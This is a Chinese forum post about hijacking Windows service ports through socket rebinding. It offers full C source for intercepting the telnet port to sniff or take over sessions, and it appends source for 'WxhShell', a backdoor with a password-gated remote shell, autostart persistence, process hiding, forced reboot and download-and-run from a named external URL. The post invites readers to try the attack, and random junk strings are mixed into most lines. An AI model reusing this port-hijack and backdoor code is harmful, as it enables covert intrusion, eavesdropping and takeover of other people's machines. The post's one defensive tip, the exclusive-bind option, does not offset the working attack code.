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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +-r ~-bs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mV'-1  
NoOrQ m  
  saddr.sin_family = AF_INET; O2qy[]km  
6nA/LW\x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P(%^J6[>  
fK|P144   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k*4!rWr0r&  
+R8G*2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oNhCa>)/  
^>/~MCyM.  
  这意味着什么?意味着可以进行如下的攻击: XjXz#0nR  
`O0bba=:=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SPT?Tt  
W" Tj.oCUG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V_3K((P6  
_I?oR.ON33  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gb{8SG5ac  
M]Hf>7p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T@jv0/(+  
6bDizS}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~_SRcM{  
i@`qam   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %(1Jt "9|  
|b4f3n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Skg}/Ek  
~KQiNkA\|l  
  #include S3UJ)@ E  
  #include g43(N!@g  
  #include &gF9VY  
  #include    [*J?TNk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I@oSRB  
  int main() WF_ v>g:g  
  { p`2Q6  
  WORD wVersionRequested; 11vAx9  
  DWORD ret; EQtYb"_  
  WSADATA wsaData; y?V^S;}&]  
  BOOL val; oj/#wF+  
  SOCKADDR_IN saddr; %Yt;)q3U  
  SOCKADDR_IN scaddr; K&VMhMVb  
  int err; <0!<T+JQ  
  SOCKET s; ;i?rd f  
  SOCKET sc; G<-<>)zO!  
  int caddsize; Hqtv`3g  
  HANDLE mt; G0A\"2U  
  DWORD tid;   ^z`d 2it  
  wVersionRequested = MAKEWORD( 2, 2 ); >,ABE2t5  
  err = WSAStartup( wVersionRequested, &wsaData ); [<|$If99\  
  if ( err != 0 ) { q/^?rd  
  printf("error!WSAStartup failed!\n"); LGK&&srJs  
  return -1; ?bPW*A82{q  
  } ]!]B7|JFJ  
  saddr.sin_family = AF_INET; )Ma/] eZ^I  
   '|<r[K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .}5qi;CA  
~h:(9q8NLC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BNgm+1?L  
  saddr.sin_port = htons(23); F`La_]f?b\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z,tHyyF?j  
  { T`bUBrK6g`  
  printf("error!socket failed!\n"); zR4]buHnE  
  return -1; naM~>N  
  } ^T*!~K8A  
  val = TRUE; aL*}@|JL"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xI_0`@do  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0NK|3]p  
  { ~Ajst!Y7=  
  printf("error!setsockopt failed!\n"); GYg.B<Q.  
  return -1; ({zWyl  
  } W^7yh&@lU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \a4X},h\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $;&l{=e2)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D|amKW7  
z9!OzGtIR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /ykc`E?f  
  { -u7NBtgUh  
  ret=GetLastError(); XG!6[o;  
  printf("error!bind failed!\n"); ]j!pK4  
  return -1; mMvAA;  
  } PC HKH  
  listen(s,2); 5$$# d_Gj  
  while(1) FJ^\K+;  
  { +f%"O?  
  caddsize = sizeof(scaddr); &6vWz6!P  
  //接受连接请求 +$Y*1{hyOo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =~"X/ >'  
  if(sc!=INVALID_SOCKET) B&7NF}CF2  
  { u0]u"T&N!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3IJ0 P.x!o  
  if(mt==NULL) 6{{<+ o  
  { {kBsiSvsA;  
  printf("Thread Creat Failed!\n"); ]28j$)6  
  break; oaZdvu@y  
  } , @!X! L  
  } VR .t  
  CloseHandle(mt); D.-G!0!  
  } >28l9U  
  closesocket(s); 9 *uK]/c  
  WSACleanup(); w3 kkam"  
  return 0; vaJl}^T  
  }   mP=[h |a$r  
  DWORD WINAPI ClientThread(LPVOID lpParam) TtF+~K  
  { PxQQfI>  
  SOCKET ss = (SOCKET)lpParam; ,"KfZf;?  
  SOCKET sc; ]Y-Y.&b7t  
  unsigned char buf[4096]; |N^"?bSt  
  SOCKADDR_IN saddr; _n/73Oh  
  long num; C\joDAD  
  DWORD val; alB'l  
  DWORD ret; Aix6O=K6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6)p8BUft  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S>>wf:\ c  
  saddr.sin_family = AF_INET; 3HBh 3p5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +q;{ %3C  
  saddr.sin_port = htons(23); &AOGg\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )0/*j]Kf  
  { mE5{)<N:C  
  printf("error!socket failed!\n"); iE}] E  
  return -1; L N Fe7<y  
  } j"'a5;Sy  
  val = 100; a5R. \a<q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L ph0C^8  
  { <R+?>kz6  
  ret = GetLastError(); l S3LX  
  return -1; uI9*D)  
  } QeC\(4?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o[}Dj6e\t  
  { \|9B:y'y  
  ret = GetLastError(); G0|}s&$yL  
  return -1; $,J0) ~  
  } 934j5D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +7o1&D*v  
  { g1|Py t{  
  printf("error!socket connect failed!\n"); t0jE\6r  
  closesocket(sc); XI ;] c5  
  closesocket(ss); t$%<eF@w  
  return -1; }^0'IAXi  
  } FwlD P  
  while(1) 8'L:D  
  { vBOY[>=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p^*a>d:d]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /8Y8-&K0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RRPPojKZ  
  num = recv(ss,buf,4096,0);  ?ueL'4Mm  
  if(num>0) sT"ICooc  
  send(sc,buf,num,0); TIZ2'q5wg  
  else if(num==0) -seLa(8F  
  break; u:lBFVqk  
  num = recv(sc,buf,4096,0); < K!r\^  
  if(num>0) $~G5s<r  
  send(ss,buf,num,0); c+E\e]{  
  else if(num==0) T7 "QwA  
  break; Sir1>YEm  
  } k2$pcR,WM  
  closesocket(ss); fkp(M  
  closesocket(sc); QNINn>2  
  return 0 ; 6IV):S~  
  } &Z[+V)6,,  
#h^nvRmON  
(3mL!1\  
========================================================== M9A1 8d|  
2I}+AW!!=  
下边附上一个代码,,WXhSHELL ,*U-o}{8C?  
Za1mI^ L1  
========================================================== [ i, [^  
z/`+jIB  
#include "stdafx.h" l^ay* H  
?8{Os;!je  
#include <stdio.h> wW p7N  
#include <string.h> >J3m ta3  
#include <windows.h> zN!yOlp5  
#include <winsock2.h> rP'%f 6  
#include <winsvc.h> $.pCoS]i  
#include <urlmon.h> =WUL%MfW  
Iy49o!  
#pragma comment (lib, "Ws2_32.lib") %6 Av1cv  
#pragma comment (lib, "urlmon.lib") s|H7;.3gp  
Pe,ky>ow  
#define MAX_USER   100 // 最大客户端连接数 ^7/v[J<<  
#define BUF_SOCK   200 // sock buffer S+~;PmN9qL  
#define KEY_BUFF   255 // 输入 buffer x%r$/=  
(kB  
#define REBOOT     0   // 重启 -k7b# +T  
#define SHUTDOWN   1   // 关机 i_Q1\_m!  
Ycm.qud ?  
#define DEF_PORT   5000 // 监听端口 ~EY)c~ H  
3'kKbrk [  
#define REG_LEN     16   // 注册表键长度 K"XwSZ/  
#define SVC_LEN     80   // NT服务名长度 T@.+bD  
G gA:;f46  
// 从dll定义API X!LiekU!D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9ybR+dGm+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z(c SM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PdVx&BL*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?i0+h7 =6  
:t!J 9  
// wxhshell配置信息 PvV\b<Pe+  
struct WSCFG { rgCC3TX  
  int ws_port;         // 监听端口 /klo),|&  
  char ws_passstr[REG_LEN]; // 口令 zO\_^A|8H  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bj2iYk_cLa  
  char ws_regname[REG_LEN]; // 注册表键名 !{CIP`P1  
  char ws_svcname[REG_LEN]; // 服务名 0J'Cx&Rg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xe\}(O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zeQ~'ao<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 72xf| s=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g]HWaFjc5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T88$sD.2 '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4 qsct@K,  
*~6]IWN`  
}; q`{@@[/ (y  
%A~. NNbS  
// default Wxhshell configuration (*\&xRY|C  
struct WSCFG wscfg={DEF_PORT, ";(m,i f-  
    "xuhuanlingzhe", qXq#A&  
    1, nbP}a?XC  
    "Wxhshell", :KvZP:T  
    "Wxhshell", &$CyT6mb^  
            "WxhShell Service", 89D`!`Ah]  
    "Wrsky Windows CmdShell Service", faLfdUimJ  
    "Please Input Your Password: ", Q+K]:c  
  1, uc!6?+0h  
  "http://www.wrsky.com/wxhshell.exe", ,B/TqPP  
  "Wxhshell.exe" |tI{MztJ"c  
    }; B&X)bGx8  
J+ :3== ,  
// 消息定义模块 6Zw$F3 <  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u;^H=7R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2N &B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }])j>E  
char *msg_ws_ext="\n\rExit."; [7`S`\_NK  
char *msg_ws_end="\n\rQuit."; UV;I6]$}A7  
char *msg_ws_boot="\n\rReboot..."; uv$5MwKU  
char *msg_ws_poff="\n\rShutdown..."; $aTo9{M^  
char *msg_ws_down="\n\rSave to "; {)r[?%FMgV  
i=b'_SZ '  
char *msg_ws_err="\n\rErr!"; @]X!#&2>  
char *msg_ws_ok="\n\rOK!"; 9mMQ  
C'A D[`p  
char ExeFile[MAX_PATH]; `{"V(YMEV  
int nUser = 0; !K*3bY`#  
HANDLE handles[MAX_USER]; :jTbzDqQ  
int OsIsNt; #oEtLb@O  
b4$.uLY  
SERVICE_STATUS       serviceStatus; !?i9fYu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 502(CO>  
mXJG &EA  
// 函数声明 gf9,/m  
int Install(void); 7 8xiT  
int Uninstall(void); L67yL( d6a  
int DownloadFile(char *sURL, SOCKET wsh); H/x 9w[\+[  
int Boot(int flag); QrmGrRH  
void HideProc(void); /P3Pv"r|8]  
int GetOsVer(void); :k.>H.8+~  
int Wxhshell(SOCKET wsl); JK^%V\m  
void TalkWithClient(void *cs); U/U_q-z]  
int CmdShell(SOCKET sock); olo9YrHn  
int StartFromService(void); T[},6I|!  
int StartWxhshell(LPSTR lpCmdLine); A;C4>U Y  
O[1Q#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,bzgjw+R5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0[g5[?Vy  
i0x[w>\-  
// 数据结构和表定义 9Y# vKb{>  
SERVICE_TABLE_ENTRY DispatchTable[] = :WH0=Bieh  
{ !_o1;GzK  
{wscfg.ws_svcname, NTServiceMain}, 2V9"{F?  
{NULL, NULL} YL;*%XmAG  
}; =}0>S3a.7  
\@Z D.d#  
// 自我安装 Jn?ZJZ  
int Install(void) P6^\*xkMr  
{ ='eQh\T)  
  char svExeFile[MAX_PATH]; #c<F,` gdi  
  HKEY key; [e.`M{(TB  
  strcpy(svExeFile,ExeFile); 2+(SR.oGq  
/6N!$*8  
// 如果是win9x系统,修改注册表设为自启动 )J\ JAUj  
if(!OsIsNt) { $Ovq}Rexc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K^AIqL8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8.`5"9Vh  
  RegCloseKey(key); p_g8d&]V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \@6w;tyi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B$97"$#u  
  RegCloseKey(key); !qs~j=;y3  
  return 0; LGRhCOP:  
    } G @L `[Wu  
  } :NwFJc  
} P]4u`&  
else { z*^vdi0  
viS7+E|O  
// 如果是NT以上系统,安装为系统服务 Y-DHW/Z~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $*0XWrE  
if (schSCManager!=0) rJd-e96  
{ tN;~.\TKg  
  SC_HANDLE schService = CreateService [ dVRVm0N  
  ( m<4tH5 };d  
  schSCManager, .ddf'$6h  
  wscfg.ws_svcname, z{> )'A/  
  wscfg.ws_svcdisp, ",E$}= ,Z  
  SERVICE_ALL_ACCESS, P'5Q}7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $kQQdF  
  SERVICE_AUTO_START, =WFG[~8  
  SERVICE_ERROR_NORMAL, #)%dG3)e  
  svExeFile, 9qJ:h-?M  
  NULL, Qo["K}Ty  
  NULL, )!`>Q|]}Zd  
  NULL, /EM=!@ka  
  NULL, eNt1P`2[  
  NULL ^zS|O]Tx  
  ); ~ln96*)M;  
  if (schService!=0) lS`VJA6l.  
  { x5W@zqj  
  CloseServiceHandle(schService); RjR  
  CloseServiceHandle(schSCManager); i'Q 4touy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9;pD0h|  
  strcat(svExeFile,wscfg.ws_svcname); \%;5$ovV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q;p% VQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CM%;r5  
  RegCloseKey(key); +u7nx  
  return 0; ^w}BXVn  
    } UbwD2>  
  } 9fq CE619a  
  CloseServiceHandle(schSCManager); z"@UNypc,  
} 8nRxx`U\q  
} ?)c9!hR  
/kd6Yq(y  
return 1; 1QuR7p  
} v|r#  
klC48l  
// 自我卸载 ivl_=  
int Uninstall(void) UazUr=| e  
{ L)Ru]X`  
  HKEY key; |f&=9%  
&uTK@ G+  
if(!OsIsNt) { `OyYo^+D|.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rwz (20n\^  
  RegDeleteValue(key,wscfg.ws_regname); Q(YQ$ i"S  
  RegCloseKey(key); (=i+{ 3`|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DKf:0E8  
  RegDeleteValue(key,wscfg.ws_regname); O>L 5 dP  
  RegCloseKey(key); >_?Waz %  
  return 0; (V+iJ_1g{  
  } wn{DY v7B  
} 'St\$X  
} m&r?z%  
else { J{5&L &4  
GCA?sFwo>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |/35c0IM  
if (schSCManager!=0) {d,~=s0T  
{ 'd 6z^Z6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A@lY{e  
  if (schService!=0) Z\M8DZW8Y  
  { 7q _.@J  
  if(DeleteService(schService)!=0) { m:XMF)tW  
  CloseServiceHandle(schService); l+8G6?@]>  
  CloseServiceHandle(schSCManager); !@-g9z  
  return 0; .EoLJHL }  
  } 8klu*  
  CloseServiceHandle(schService); 7~Md6.FtM  
  } % g*AGu`  
  CloseServiceHandle(schSCManager); o]*#|4-  
} HBnnIbEtF'  
} )[hQK_e]  
.q7o7J%  
return 1; ;7 Y4 v`m  
} )o8]MWT\;  
pO_L,~<  
// 从指定url下载文件 ({AqL#x`u  
int DownloadFile(char *sURL, SOCKET wsh) | sio:QP  
{ =XT}&D6  
  HRESULT hr; "V/6 nuCo  
char seps[]= "/"; j5>3Td.  
char *token; !G3d5d2)C  
char *file; 07L 1 "  
char myURL[MAX_PATH]; /"<o""<]  
char myFILE[MAX_PATH]; zcNv T  
ta 66AEc9  
strcpy(myURL,sURL); : |?nz$  
  token=strtok(myURL,seps); WwM/M!98J  
  while(token!=NULL) Ui`Z>,0sFi  
  { ( AnM _s  
    file=token; mxV0"$'Fm  
  token=strtok(NULL,seps); KoNJ;YiKtN  
  } -NyfW+T={  
*^&2L,w  
GetCurrentDirectory(MAX_PATH,myFILE); JH;\wfr D  
strcat(myFILE, "\\"); 6-<>P E2  
strcat(myFILE, file); 36U z fBa  
  send(wsh,myFILE,strlen(myFILE),0); ?R}a,k  
send(wsh,"...",3,0); gjVKk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )N4_SA  
  if(hr==S_OK) #\]:lr{>?4  
return 0; }XiV$[xHd  
else +5+?)8Ls  
return 1; n^ AQ!wC  
2& l~8,  
} hs"=>(P)  
o4"7i 9+g  
// 系统电源模块 hkq[xgX  
int Boot(int flag) ZsPT!l,  
{ t:G67^<3  
  HANDLE hToken; C"P40VQoo  
  TOKEN_PRIVILEGES tkp; ,:QzF"MV  
'bXm,Ed  
  if(OsIsNt) { 1c} %_Z/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f|f9[h'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,NQucp  
    tkp.PrivilegeCount = 1; D|}%(N@sl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ol~j q;75  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jCMr[ G=  
if(flag==REBOOT) { AVys`{*c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2=TQU33#  
  return 0; Uva b*9vX  
} (*Jcx:rH  
else { .(0'l@#fT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aAr gKM f  
  return 0; v/E_A3Ay&  
} y[s* %yP3l  
  } 8)D5loS  
  else { Ck|3DiRQ  
if(flag==REBOOT) { !kl9X-IiI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S WYIQ7*  
  return 0; ;:[!I]E0  
} y%21`y&Os  
else { q7 ;TdQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $Xf gY1S  
  return 0; 9w Pc03a  
} B%c):`w8]  
} e.<$G'  
n'yC-;  
return 1; SJRiMR_F~  
} f<V#Yc(U }  
:1eJc2o  
// win9x进程隐藏模块 5m`@ 4%)zp  
void HideProc(void) \/J7U|@Lt  
{ yE(>R(^  
a+TlZE>8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pFLR!/J  
  if ( hKernel != NULL ) 9~^%v zM  
  { `43`*=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Q&hhmOnz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wr/Z)e =^3  
    FreeLibrary(hKernel); ][|)qQ%V  
  } 06 kjJ4  
]E1aIt  
return; Qo !/]\  
} ckXJ9>  
d3fF|Wp1  
// 获取操作系统版本 S(^*DV  
int GetOsVer(void) ]OE{qXr{  
{ 0jsU^m<g  
  OSVERSIONINFO winfo; 3McBTa!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \>8"r,hG|  
  GetVersionEx(&winfo); +1Ha,O k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) li4rK <O  
  return 1; Ng?n}$g*  
  else f-N:  
  return 0; 2t3'"8xJ  
} em  
&wbe^Wp  
// 客户端句柄模块 7-"ml\z  
int Wxhshell(SOCKET wsl) fA!uSqR$V  
{ jlV~-}QKb7  
  SOCKET wsh; h2 2-v X  
  struct sockaddr_in client; T-)Ur/qp  
  DWORD myID; @;iW)a_M  
KJ]:0'T  
  while(nUser<MAX_USER) \Gh]$s p  
{ N@$g"w  
  int nSize=sizeof(client);  o *2TH2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sjpcz4|K  
  if(wsh==INVALID_SOCKET) return 1; (Yz EsY  
`p@YV(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~yH<,e  
if(handles[nUser]==0) *~F\k):>  
  closesocket(wsh); c}a.  
else 3%?01$k  
  nUser++; %(GWR@mfC  
  } ?\dY!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?lJm}0>  
- Dm/7Sxd`  
  return 0; 7q>WO  
} HhN;&67~Z  
w /$4 Rv+S  
// 关闭 socket p/|]])2  
void CloseIt(SOCKET wsh) ozZW7dveU  
{ %oas IiO  
closesocket(wsh); 'u }|~u?m  
nUser--; ;iJ*.wVq  
ExitThread(0); F V8K_xj  
} M),i4a?2  
wu5]S)?*  
// 客户端请求句柄 Pa%;[hbn  
void TalkWithClient(void *cs) */iD68r|-  
{ 1$Rua  
@ !0@f'}e  
  SOCKET wsh=(SOCKET)cs; fcd\{1#u  
  char pwd[SVC_LEN]; ^2L\Y2  
  char cmd[KEY_BUFF]; 9Xb,Swo~  
char chr[1]; <]6])f,y\  
int i,j; ,E{z+:Es  
RF/I*5  
  while (nUser < MAX_USER) { !424K-nW  
^nu~q+:+#  
if(wscfg.ws_passstr) { \|\ Dc0p}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " (c#H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hqW4.|&\c  
  //ZeroMemory(pwd,KEY_BUFF); 0xbx2jlkY  
      i=0; L~_3BX  
  while(i<SVC_LEN) { gPO,Z  
JivkY"= F  
  // 设置超时  7e\g  
  fd_set FdRead; }W{rDc kv  
  struct timeval TimeOut; 0|g|k7c{rF  
  FD_ZERO(&FdRead); GAONgz|ZI  
  FD_SET(wsh,&FdRead); FA-"" ]  
  TimeOut.tv_sec=8; ZUJ !  
  TimeOut.tv_usec=0; CV%AqJN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Zc1CUMG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t#tAvwFM8  
J<h^V+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o2e aSG  
  pwd=chr[0]; rQ -pD  
  if(chr[0]==0xd || chr[0]==0xa) { (| DmYn!  
  pwd=0; S '>(4a  
  break; +cQGX5 K  
  } q_eGY&M  
  i++; Xx_ v>Jn!  
    } \ .+.VK  
N|[P%WM3  
  // 如果是非法用户,关闭 socket QeP8Vl&e:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZS0=xS5q)  
} T#'+w@Q9{9  
\ IJ\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u_[^gS7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /QDlm>FM4  
5$o]D  
while(1) { s@^ (1g[w`  
H)&6I33`  
  ZeroMemory(cmd,KEY_BUFF); %a%x`S3  
'\qd{mM\r  
      // 自动支持客户端 telnet标准   !=j\pu} Z  
  j=0; dI'cZt~n  
  while(j<KEY_BUFF) { l:v:f@M&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %N 8/g]`7  
  cmd[j]=chr[0]; hA1\+r  
  if(chr[0]==0xa || chr[0]==0xd) { {2<A\nW  
  cmd[j]=0; OQ&?^S`8',  
  break; 0PIiG-o9  
  } f`w$KVZ1!w  
  j++; 1"J\iwN3  
    } aa:Oh^AJy  
__HPwOCG7  
  // 下载文件 e;KZTH;  
  if(strstr(cmd,"http://")) { Mf)0Y~_:R#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5MsE oLg  
  if(DownloadFile(cmd,wsh)) K7 >Z)21  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:_WdU"Q]  
  else 16"eyt>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Igd<  
  } *sI`+4h[  
  else { 8 x$BbK  
\ FW{&X9a  
    switch(cmd[0]) { gJn|G#!  
  s)Bmi  
  // 帮助 '`g#Zo  
  case '?': { xBH`=e <  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =ML6"jr  
    break; ?n o.hf  
  } 19a/E1  
  // 安装 2Qg.b- C  
  case 'i': { ({=: N  
    if(Install()) ['%]tWT9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LX{[9   
    else a1]@&D r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bw2-4K\"kc  
    break; 6.? Ke8iC  
    } dKyJ.p   
  // 卸载 MONfA;64/  
  case 'r': { 4%wP}Zj#  
    if(Uninstall()) My'u('Q%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~_C[~-  
    else t,#9i#q#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(7F| G*  
    break; p%) 1(R8qM  
    } AF5.)Y@.  
  // 显示 wxhshell 所在路径 \Z0-o&;w  
  case 'p': { eqz#KN`n#  
    char svExeFile[MAX_PATH]; Mx<V;GPm  
    strcpy(svExeFile,"\n\r"); vt0XCUnK  
      strcat(svExeFile,ExeFile); {KJ!rT  
        send(wsh,svExeFile,strlen(svExeFile),0); 6 R}]RuFQ  
    break; JSXudz5 c  
    } ,f0|eu>  
  // 重启 j'Ry.8}  
  case 'b': { g.yr) LHt0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K3jKOV8   
    if(Boot(REBOOT)) ] h3~>8<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zcq'u jU  
    else { 7PG&G5  
    closesocket(wsh); J7:VRf|,?(  
    ExitThread(0); l}-JtZ?[?  
    } p/jC}[$v  
